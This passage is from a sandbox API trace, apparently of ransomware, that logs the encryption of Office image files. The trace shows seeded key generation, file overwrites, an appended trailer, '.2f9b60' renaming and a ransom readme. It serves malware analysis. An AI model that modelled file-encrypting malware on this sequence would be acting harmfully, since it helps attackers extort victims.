Seed=0x2cc0fa90 | out: Seed=0x2cc0fa90) returned 0x4e7c5e6c [0140.416] RtlRandomEx (in: Seed=0x2cc0fa90 | out: Seed=0x2cc0fa90) returned 0xdbfd8a9 [0140.416] RtlRandomEx (in: Seed=0x2cc0fa90 | out: Seed=0x2cc0fa90) returned 0x29bda2cc [0140.416] RtlRandomEx (in: Seed=0x2cc0fa90 | out: Seed=0x2cc0fa90) returned 0x1c9ce50d [0140.416] RtlRandomEx (in: Seed=0x2cc0fa90 | out: Seed=0x2cc0fa90) returned 0x53574970 [0140.416] RtlRandomEx (in: Seed=0x2cc0fa90 | out: Seed=0x2cc0fa90) returned 0x7201907c [0140.416] RtlRandomEx (in: Seed=0x2cc0fa90 | out: Seed=0x2cc0fa90) returned 0x1701e31e [0140.416] RtlRandomEx (in: Seed=0x2cc0fa90 | out: Seed=0x2cc0fa90) returned 0x3f1c9fa1 [0140.416] RtlRandomEx (in: Seed=0x2cc0fa90 | out: Seed=0x2cc0fa90) returned 0x11b3e64a [0140.416] RtlRandomEx (in: Seed=0x2cc0fa90 | out: Seed=0x2cc0fa90) returned 0x30d6efb8 [0140.416] RtlRandomEx (in: Seed=0x2cc0fa90 | out: Seed=0x2cc0fa90) returned 0x36844e25 [0140.416] RtlRandomEx (in: Seed=0x2cc0fa90 | out: Seed=0x2cc0fa90) returned 0x717b3173 [0140.416] RtlRandomEx (in: Seed=0x2cc0fa90 | out: Seed=0x2cc0fa90) returned 0x72ebfdd4 [0140.416] RtlRandomEx (in: Seed=0x2cc0fa90 | out: Seed=0x2cc0fa90) returned 0x31827f26 [0140.416] RtlRandomEx (in: Seed=0x2cc0fa90 | out: Seed=0x2cc0fa90) returned 0x6c4ecf4f [0140.416] RtlRandomEx (in: Seed=0x2cc0fa90 | out: Seed=0x2cc0fa90) returned 0x1b1f158c [0140.416] RtlRandomEx (in: Seed=0x2cc0fa90 | out: Seed=0x2cc0fa90) returned 0x2b05efde [0140.416] RtlRandomEx (in: Seed=0x2cc0fa90 | out: Seed=0x2cc0fa90) returned 0xcf1ac42 [0140.416] RtlRandomEx (in: Seed=0x2cc0fa90 | out: Seed=0x2cc0fa90) returned 0x637ea9b6 [0140.417] RtlRandomEx (in: Seed=0x2cc0fa90 | out: Seed=0x2cc0fa90) returned 0x2bd15407 [0140.417] RtlRandomEx (in: Seed=0x2cc0fa90 | out: Seed=0x2cc0fa90) returned 0x75e19680 [0140.417] RtlRandomEx (in: Seed=0x2cc0fa90 | out: Seed=0x2cc0fa90) returned 0x23cbf719 [0140.417] RtlRandomEx (in: Seed=0x2cc0fa90 | out: Seed=0x2cc0fa90) returned 0x52b9fe9e [0140.417] RtlRandomEx (in: Seed=0x2cc0fa90 | out: Seed=0x2cc0fa90) returned 0x62756c26 [0140.417] RtlRandomEx (in: Seed=0x2cc0fa90 | out: Seed=0x2cc0fa90) returned 0x2928f091 [0140.424] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7910 [0140.425] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061a30 [0140.425] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050eef0 [0140.425] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061a30) returned 1 [0140.425] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6320) returned 1 [0140.425] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7880) returned 1 [0140.425] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059d80 [0140.425] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061a30 [0140.425] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7880 [0140.425] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7880) returned 1 [0140.426] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42216d10 [0140.426] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4221a920 [0140.426] ReadFile (in: hFile=0x1ef8, lpBuffer=0x42216d10, nNumberOfBytesToRead=0x1995, lpNumberOfBytesRead=0x2cc0fa90, lpOverlapped=0x0 | out: lpBuffer=0x42216d10*, lpNumberOfBytesRead=0x2cc0fa90*=0x1995, lpOverlapped=0x0) returned 1 [0140.429] SetFilePointerEx (in: hFile=0x1ef8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.429] WriteFile (in: hFile=0x1ef8, lpBuffer=0x4221a920*, nNumberOfBytesToWrite=0x1995, lpNumberOfBytesWritten=0x2cc0fa94, lpOverlapped=0x0 | out: lpBuffer=0x4221a920*, lpNumberOfBytesWritten=0x2cc0fa94*=0x1995, lpOverlapped=0x0) returned 1 [0140.900] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267230 [0140.900] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267380 [0140.901] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267380) returned 1 [0140.901] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4221a920) returned 1 [0140.901] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42216d10) returned 1 [0140.901] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061a30) returned 1 [0140.901] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059d80) returned 1 [0140.901] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3a) returned 0x42059d80 [0140.902] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059830 [0140.902] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061a30 [0140.902] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267380 [0140.902] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267380) returned 1 [0140.902] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3a) returned 0x42059ab0 [0140.902] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267380 [0140.902] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202674d0 [0140.902] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202674d0) returned 1 [0140.903] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061a30) returned 1 [0140.903] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059830) returned 1 [0140.903] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x11e) returned 0x1b77f040 [0140.903] SetFilePointerEx (in: hFile=0x1ef8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0140.903] WriteFile (in: hFile=0x1ef8, lpBuffer=0x1b77f040*, nNumberOfBytesToWrite=0x11e, lpNumberOfBytesWritten=0x2cc0fbb0, lpOverlapped=0x0 | out: lpBuffer=0x1b77f040*, lpNumberOfBytesWritten=0x2cc0fbb0*=0x11e, lpOverlapped=0x0) returned 1 [0140.975] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b77f040) returned 1 [0140.975] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059ab0) returned 1 [0140.975] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267380) returned 1 [0140.975] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059d80) returned 1 [0140.975] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267230) returned 1 [0140.976] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a67d0) returned 1 [0140.976] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7910) returned 1 [0140.976] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050eef0) returned 1 [0140.976] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb2) returned 0x20278a70 [0140.976] wcscpy (in: _Dest=0x20278a70, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\WebToolImages16x16.jpg" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\WebToolImages16x16.jpg") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\WebToolImages16x16.jpg" [0140.976] wcscat (in: _Dest=0x20278a70, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\WebToolImages16x16.jpg.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\WebToolImages16x16.jpg.2f9b60" [0140.976] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\WebToolImages16x16.jpg.2f9b60", NtPathName=0x2cc0fbd0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\WebToolImages16x16.jpg.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0140.976] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd0) returned 0x1b776d90 [0140.977] NtSetInformationFile (FileHandle=0x1ef8, IoStatusBlock=0x2cc0fc70, FileInformation=0x1b776d90, Length=0xd0, FileInformationClass=0xa) returned 0x0 [0145.969] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b776d90) returned 1 [0145.970] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fc5e0) returned 1 [0145.970] NtQueryInformationFile (in: FileHandle=0x1ef8, IoStatusBlock=0x2cc0fc38, FileInformation=0x2cc0fc48, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2cc0fc38, FileInformation=0x2cc0fc48) returned 0x0 [0145.970] NtSetInformationFile (FileHandle=0x1ef8, IoStatusBlock=0x2cc0fc38, FileInformation=0x2cc0fc48, Length=0x28, FileInformationClass=0x4) returned 0x0 [0146.025] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20278a70) returned 1 [0146.025] FlushFileBuffers (hFile=0x1ef8) returned 1 [0146.035] CloseHandle (hObject=0x1ef8) returned 1 [0146.082] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x1ce12050 [0146.082] wcscpy (in: _Dest=0x1ce12050, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" [0146.082] wcscat (in: _Dest=0x1ce12050, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt" [0146.082] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\2f9b60-readme.txt")) returned 0x20 [0147.244] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce12050) returned 1 [0147.244] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b862040) returned 1 Thread: id = 1887 os_tid = 0x103c [0133.426] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\WebToolImagesMask16x16.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\webtoolimagesmask16x16.bmp")) returned 0x20 [0136.081] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\WebToolImagesMask16x16.bmp", dwFileAttributes=0x20) returned 1 [0138.392] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\WebToolImagesMask16x16.bmp" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\webtoolimagesmask16x16.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1ed0 [0144.189] GetFileSizeEx (in: hFile=0x1ed0, lpFileSize=0x2ccafb80 | out: lpFileSize=0x2ccafb80*=2104) returned 1 [0144.189] SetFilePointerEx (in: hFile=0x1ed0, liDistanceToMove=0x834, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.189] ReadFile (in: hFile=0x1ed0, lpBuffer=0x2ccafb00, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2ccafb48, lpOverlapped=0x0 | out: lpBuffer=0x2ccafb00*, lpNumberOfBytesRead=0x2ccafb48*=0x4, lpOverlapped=0x0) returned 1 [0144.258] SetFilePointerEx (in: hFile=0x1ed0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.258] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202644a0 [0144.258] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202657c0 [0144.259] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267380 [0144.259] NtQuerySystemTime (in: CurrentTime=0x2ccafa40 | out: CurrentTime=0x2ccafa40*=132462177495022000) returned 0x0 [0144.259] RtlRandomEx (in: Seed=0x2ccafa30 | out: Seed=0x2ccafa30) returned 0x749bf12f [0144.259] RtlRandomEx (in: Seed=0x2ccafa30 | out: Seed=0x2ccafa30) returned 0x28da3662 [0144.259] RtlRandomEx (in: Seed=0x2ccafa30 | out: Seed=0x2ccafa30) returned 0x472a6b03 [0144.259] RtlRandomEx (in: Seed=0x2ccafa30 | out: Seed=0x2ccafa30) returned 0x1bf05739 [0144.259] RtlRandomEx (in: Seed=0x2ccafa30 | out: Seed=0x2ccafa30) returned 0x5db2e075 [0144.259] RtlRandomEx (in: Seed=0x2ccafa30 | out: Seed=0x2ccafa30) returned 0x232c306f [0144.259] RtlRandomEx (in: Seed=0x2ccafa30 | out: Seed=0x2ccafa30) returned 0x74bf00ab [0144.259] RtlRandomEx (in: Seed=0x2ccafa30 | out: Seed=0x2ccafa30) returned 0x447e38cc [0144.259] RtlRandomEx (in: Seed=0x2ccafa30 | out: Seed=0x2ccafa30) returned 0x4af4b33f [0144.259] RtlRandomEx (in: Seed=0x2ccafa30 | out: Seed=0x2ccafa30) returned 0x30f38862 [0144.259] RtlRandomEx (in: Seed=0x2ccafa30 | out: Seed=0x2ccafa30) returned 0x3ed50d1 [0144.259] RtlRandomEx (in: Seed=0x2ccafa30 | out: Seed=0x2ccafa30) returned 0x784f1916 [0144.259] RtlRandomEx (in: Seed=0x2ccafa30 | out: Seed=0x2ccafa30) returned 0x595a1ff9 [0144.259] RtlRandomEx (in: Seed=0x2ccafa30 | out: Seed=0x2ccafa30) returned 0x5404b6c5 [0144.259] RtlRandomEx (in: Seed=0x2ccafa30 | out: Seed=0x2ccafa30) returned 0x67a67067 [0144.259] RtlRandomEx (in: Seed=0x2ccafa30 | out: Seed=0x2ccafa30) returned 0xf122006 [0144.259] RtlRandomEx (in: Seed=0x2ccafa30 | out: Seed=0x2ccafa30) returned 0x453c2635 [0144.259] RtlRandomEx (in: Seed=0x2ccafa30 | out: Seed=0x2ccafa30) returned 0x697beb [0144.259] RtlRandomEx (in: Seed=0x2ccafa30 | out: Seed=0x2ccafa30) returned 0x46bdb7f4 [0144.259] RtlRandomEx (in: Seed=0x2ccafa30 | out: Seed=0x2ccafa30) returned 0x25c4af9d [0144.260] RtlRandomEx (in: Seed=0x2ccafa30 | out: Seed=0x2ccafa30) returned 0x1e7a7b1c [0144.260] RtlRandomEx (in: Seed=0x2ccafa30 | out: Seed=0x2ccafa30) returned 0x2b3f7a17 [0144.260] RtlRandomEx (in: Seed=0x2ccafa30 | out: Seed=0x2ccafa30) returned 0x2cd1c444 [0144.260] RtlRandomEx (in: Seed=0x2ccafa30 | out: Seed=0x2ccafa30) returned 0x7a98608c [0144.260] RtlRandomEx (in: Seed=0x2ccafa30 | out: Seed=0x2ccafa30) returned 0x6ed5eb38 [0144.260] RtlRandomEx (in: Seed=0x2ccafa30 | out: Seed=0x2ccafa30) returned 0x24c3fb59 [0144.260] RtlRandomEx (in: Seed=0x2ccafa30 | out: Seed=0x2ccafa30) returned 0x4c281a5b [0144.260] RtlRandomEx (in: Seed=0x2ccafa30 | out: Seed=0x2ccafa30) returned 0x177ab387 [0144.260] RtlRandomEx (in: Seed=0x2ccafa30 | out: Seed=0x2ccafa30) returned 0x2fbfe6d9 [0144.260] RtlRandomEx (in: Seed=0x2ccafa30 | out: Seed=0x2ccafa30) returned 0xf7ad909 [0144.260] RtlRandomEx (in: Seed=0x2ccafa30 | out: Seed=0x2ccafa30) returned 0x23d56887 [0144.260] RtlRandomEx (in: Seed=0x2ccafa30 | out: Seed=0x2ccafa30) returned 0x47e2c253 [0144.268] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202674a0 [0144.268] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5a130 [0144.269] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267470 [0144.269] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5a130) returned 1 [0144.269] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267380) returned 1 [0144.270] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202644a0) returned 1 [0144.270] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059f10 [0144.270] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5a130 [0144.270] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202644a0 [0144.270] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202644a0) returned 1 [0144.270] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x203a4520 [0144.270] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x203a8130 [0144.270] ReadFile (in: hFile=0x1ed0, lpBuffer=0x203a4520, nNumberOfBytesToRead=0x838, lpNumberOfBytesRead=0x2ccafa30, lpOverlapped=0x0 | out: lpBuffer=0x203a4520*, lpNumberOfBytesRead=0x2ccafa30*=0x838, lpOverlapped=0x0) returned 1 [0144.271] SetFilePointerEx (in: hFile=0x1ed0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0144.271] WriteFile (in: hFile=0x1ed0, lpBuffer=0x203a8130*, nNumberOfBytesToWrite=0x838, lpNumberOfBytesWritten=0x2ccafa34, lpOverlapped=0x0 | out: lpBuffer=0x203a8130*, lpNumberOfBytesWritten=0x2ccafa34*=0x838, lpOverlapped=0x0) returned 1 [0144.325] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202645f0 [0144.325] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202644a0 [0144.326] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202644a0) returned 1 [0144.326] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x203a8130) returned 1 [0144.326] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x203a4520) returned 1 [0144.326] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5a130) returned 1 [0144.326] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059f10) returned 1 [0144.326] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x42) returned 0x42059f10 [0144.326] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059ce0 [0144.327] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5a130 [0144.327] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202644a0 [0144.327] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202644a0) returned 1 [0144.327] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x42) returned 0x42059c40 [0144.327] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202644a0 [0144.327] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266960 [0144.327] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266960) returned 1 [0144.328] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5a130) returned 1 [0144.328] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059ce0) returned 1 [0144.328] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x126) returned 0x1b866130 [0144.328] SetFilePointerEx (in: hFile=0x1ed0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0144.328] WriteFile (in: hFile=0x1ed0, lpBuffer=0x1b866130*, nNumberOfBytesToWrite=0x126, lpNumberOfBytesWritten=0x2ccafb50, lpOverlapped=0x0 | out: lpBuffer=0x1b866130*, lpNumberOfBytesWritten=0x2ccafb50*=0x126, lpOverlapped=0x0) returned 1 [0144.354] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866130) returned 1 [0144.354] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059c40) returned 1 [0144.354] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202644a0) returned 1 [0144.354] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059f10) returned 1 [0144.354] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202645f0) returned 1 [0144.354] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202657c0) returned 1 [0144.354] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202674a0) returned 1 [0144.355] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267470) returned 1 [0144.355] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xba) returned 0x4205edb0 [0144.355] wcscpy (in: _Dest=0x4205edb0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\WebToolImagesMask16x16.bmp" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\WebToolImagesMask16x16.bmp") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\WebToolImagesMask16x16.bmp" [0144.355] wcscat (in: _Dest=0x4205edb0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\WebToolImagesMask16x16.bmp.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\WebToolImagesMask16x16.bmp.2f9b60" [0144.355] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\WebToolImagesMask16x16.bmp.2f9b60", NtPathName=0x2ccafb70, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\WebToolImagesMask16x16.bmp.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0144.355] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd8) returned 0x1ced03c0 [0144.355] NtSetInformationFile (FileHandle=0x1ed0, IoStatusBlock=0x2ccafc10, FileInformation=0x1ced03c0, Length=0xd8, FileInformationClass=0xa) returned 0x0 [0145.382] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced03c0) returned 1 [0145.382] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf46c90) returned 1 [0145.382] NtQueryInformationFile (in: FileHandle=0x1ed0, IoStatusBlock=0x2ccafbd8, FileInformation=0x2ccafbe8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2ccafbd8, FileInformation=0x2ccafbe8) returned 0x0 [0145.382] NtSetInformationFile (FileHandle=0x1ed0, IoStatusBlock=0x2ccafbd8, FileInformation=0x2ccafbe8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0145.391] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205edb0) returned 1 [0145.391] FlushFileBuffers (hFile=0x1ed0) returned 1 [0145.399] CloseHandle (hObject=0x1ed0) returned 1 [0145.400] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x1ce127e0 [0145.400] wcscpy (in: _Dest=0x1ce127e0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\" [0145.400] wcscat (in: _Dest=0x1ce127e0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt" [0145.400] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\2f9b60-readme.txt")) returned 0x20 [0147.208] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce127e0) returned 1 [0147.208] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x108140) returned 1 Thread: id = 1888 os_tid = 0x1040 [0133.430] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\WSSFilesToolIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\wssfilestooliconimages.jpg")) returned 0x20 [0136.074] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\WSSFilesToolIconImages.jpg", dwFileAttributes=0x20) returned 1 [0138.392] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolBMPs\\WSSFilesToolIconImages.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolbmps\\wssfilestooliconimages.jpg"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1fc0 [0142.048] GetFileSizeEx (in: hFile=0x1fc0, lpFileSize=0x2b90fb80 | out: lpFileSize=0x2b90fb80*=8968) returned 1 [0142.048] SetFilePointerEx (in: hFile=0x1fc0, liDistanceToMove=0x2304, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.048] ReadFile (in: hFile=0x1fc0, lpBuffer=0x2b90fb00, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2b90fb48, lpOverlapped=0x0 | out: lpBuffer=0x2b90fb00*, lpNumberOfBytesRead=0x2b90fb48*=0x4, lpOverlapped=0x0) returned 1 [0142.085] SetFilePointerEx (in: hFile=0x1fc0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.088] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe6e0 [0142.088] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe770 [0142.089] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe7a0 [0142.089] NtQuerySystemTime (in: CurrentTime=0x2b90fa40 | out: CurrentTime=0x2b90fa40*=132462177473338000) returned 0x0 [0142.089] RtlRandomEx (in: Seed=0x2b90fa30 | out: Seed=0x2b90fa30) returned 